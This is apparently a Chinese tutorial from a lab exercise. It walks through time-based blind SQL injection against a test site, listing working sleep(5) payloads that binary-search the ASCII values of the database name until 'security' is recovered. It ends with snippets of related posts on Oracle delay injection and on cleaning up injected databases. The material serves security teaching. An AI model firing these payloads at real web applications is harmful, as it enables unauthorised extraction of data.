sql時間型盲注 求資料庫名

2021-08-21 18:38:58 字數 1599 閱讀 3628

求資料庫名:

輸入id:1' and if(ascii(substr(database(),1,1))>125,0,sleep(5)) %23 錯誤,反應時間長(5s)

輸入id:1' and if(ascii(substr(database(),1,1))<125,0,sleep(5)) %23 正確,反應時間長(0s)

輸入id:1' and if(ascii(substr(database(),1,1))<105,0,sleep(5)) %23 錯誤,反應時間長(5s)

輸入id:1' and if(ascii(substr(database(),1,1))<115,0,sleep(5)) %23 錯誤,反應時間長(5s)

輸入id:1' and if(ascii(substr(database(),1,1))=115,0,sleep(5)) %23 ,反應時間長(0s),第乙個ascii值:s;

輸入id:1' and if(ascii(substr(database(),2,1))=101,0,sleep(5)) %23 正確,反應時間長(0s),第二個ascii值:e;

輸入id:1' and if(ascii(substr(database(),3,1))=99,0,sleep(5)) %23 正確,反應時間長(0s),第三個ascii值:c;

輸入id:1' and if(ascii(substr(database(),4,1))=117,0,sleep(5)) %23 正確,反應時間長(0s),第四個ascii值:u;

輸入id:1' and if(ascii(substr(database(),5,1))=114,0,sleep(5)) %23 正確,反應時間長(0s),第五個ascii值:r;

輸入id:1' and if(ascii(substr(database(),6,1))=105,0,sleep(5)) %23 正確,反應時間長(0s),第六個ascii值:i;

輸入id:1' and if(ascii(substr(database(),7,1))=115,0,sleep(5)) %23 正確,反應時間長(0s),第七個ascii值:t;

輸入id:1' and if(ascii(substr(database(),8,1))=115,0,sleep(5)) %23 正確,反應時間長(0s),第八個ascii值:y;

這是通過觀察當資料庫名長度》125時的網頁載入的時間長短來判斷資料庫名首字母的ascii值。

短箭頭是網頁載入的動態,長箭頭指向的0,sleep(5)是如果資料庫名長度》125錯誤時,反應時間是5秒;如果資料庫名長度》125正確時,反應時間是0秒。

短箭頭是網頁載入的動態,長箭頭指向的0,sleep(5)是如果資料庫名長度<125錯誤時,反應時間是5秒;如果資料庫名長度<125正確時,反應時間是0秒。

通過以上折半查詢方法逐漸縮小正確值的範圍來確定資料庫名的第乙個字元的ascii的正確值,依次用這種方法求出最終的資料庫名。

大哥帶的Orchel資料庫時間盲注

0x01oracle基於延時的盲注總結 oracle注入中可以通過頁面響應的狀態,這裡指的是響應時間,通過這種方式判斷sql是否被執行的方式,便是時間盲注 oracle的時間盲注通常使用dbms pipe.receive message 而另外一種便是decode 與高耗時sql操作的組合,當然也可...

sql盲注如何修補 sql注入資料庫修復方法

1.第一種情況是 需要將指定的 注入字串全部替換掉 僅替換注入的字串為空 declare delstr nvarchar 500 set delstr 這裡被注入的字段串 以下為操作實體 set nocount on declare tablename nvarchar 100 columnname...

SQL注入實驗 web靶機第九關(時間型盲注)

時間型的注入遇到的條件更為苛刻,資料互動完成以後目標 沒有錯誤和正確的頁面回顯,這種情況我們可以利用時間函式來判斷資料有沒有在目標資料中得到執行。當然也需要構造閉合。and if 1 2,1,sleep 4 利用時間函式,通過檢視網頁返回的時間判斷時間函式誰否執行來判斷自己的閉合是否正確 and i...